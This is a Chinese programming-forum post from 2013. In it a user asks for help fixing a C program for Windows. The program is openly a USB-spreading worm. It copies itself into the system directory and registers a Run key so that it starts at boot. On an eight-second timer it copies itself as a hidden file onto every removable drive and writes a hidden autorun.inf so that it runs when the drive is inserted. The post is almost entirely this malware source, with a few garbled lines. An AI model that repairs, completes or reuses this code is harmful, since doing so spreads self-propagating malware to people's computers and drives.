| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 514 人关注过本帖
标题:c语言的为题
只看楼主 加入收藏
我爱你丁长青
Rank: 1
等 级:新手上路
帖 子:43
专家分:0
注 册:2013-4-4
结帖率:0
收藏
 问题点数:0 回复次数:0 
c语言的为题
//请问高手这个程序那里出错了?我范感觉有什么地方出错了?
//请高手帮我改改这个程序对我很有用
#include
#include "Shlwapi.h"
LRESULT CALLBACK myproc(HWND,UINT,WPARAM,LPARAM);
void setBoot();//设置启动
void infect();//感染U盘
void CALLBACK TimerProc(HWND,UINT,UINT,DWORD);
HWND hwnd;
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
 {
MSG msg;
WNDCLASS wndclass;
wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hbrBackground=HBRUSH(COLOR_MENU+1);
wndclass.hCursor=LoadCursor(NULL,IDC_CROSS);
wndclass.hIcon=NULL;
wndclass.hInstance=hInstance;
wndclass.lpfnWndProc=myproc;
wndclass.lpszClassName="test";
wndclass.style=CS_VREDRAW|CS_DBLCLKS|CS_HREDRAW|CS_OWNDC;
wndclass.lpszMenuName=NULL;
RegisterClass(&wndclass);
hwnd=CreateWindow("test","test1",WS_OVERLAPPEDWINDOW,200,200,200,200,NULL,NULL,hInstance,NULL);
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK myproc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)//窗口函数
{
switch(message)
{
case WM_CREATE: setBoot();
SetTimer(hwnd,1,8000,TimerProc);//定时发现并感染U盘,间隔8秒
return 0;
case WM_DESTROY: PostQuitMessage(0);
return 0;
default: return
DefWindowProc(hwnd,message,wParam,lParam);
}
}
void setBoot()//设置为启动进程
{
int pcount;
int i;
char position[512];
char fileName[]={"\\hjb.exe"};
pcount=GetSystemDirectory(position,512);
for(i=pcount;fileName[i-pcount]!='\0';i++)//获取系统目录
{
position[i]=fileName[i-pcount];
}
position[i]='\0';
char buffer[255];
if(PathFileExists(position)==false)//复制文件到系统目录
{
GetModuleFileName(NULL,buffer,255);
CopyFile(buffer,position,FALSE);
}
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";//修改注册表 HKEY hkResult;
 int rets;
rets=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
rets=RegSetValueEx(hkResult,"theFile",0,REG_EXPAND_SZ,(unsigned char *)position,32);
if(rets==0)
{
RegCloseKey(hkResult);
}
}
void createINF(char drive)//生成U盘上的AUTORUN.INF文件
{
char autorun[]={"[autorun]\nopen=hjb.exe\n"};
char path[]={"x:\\autorun.inf"};
path[0]=drive;
HANDLE inf;
unsigned long count;
inf=CreateFile(path,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
if(inf!=INVALID_HANDLE_VALUE)
{
WriteFile(inf,autorun,sizeof(autorun),&count,NULL);
CloseHandle(inf);
}
}
void infect()//感染可移动磁盘
{
char i;
char pat[255];
char buffer[255];
char fileName[]={"\\hjb.exe"};
pat[1]=':';
pat[2]='\\';
pat[3]='\0';
int j;
for(j=3;fileName[j-3]!='\0';j++)
{
pat[j]=fileName[j-3];
}
pat[j]='\0';
for(i='C';i<='Z';i++)
{
pat[0]=i;
pat[3]='\0';
if(GetDriveType(pat)==DRIVE_REMOVABLE)//是U盘的话
 {
pat[3]='\\';
GetModuleFileName(NULL,buffer,255);
CopyFile(buffer,pat,FALSE);
SetFileAttributes(pat,7);
createINF(i);
pat[3]='\0';
}
}
}
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime)//定时器函数
{
infect();
}
搜索更多相关主题的帖子: include c语言 
2013-07-27 20:31
快速回复:c语言的为题
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.020247 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved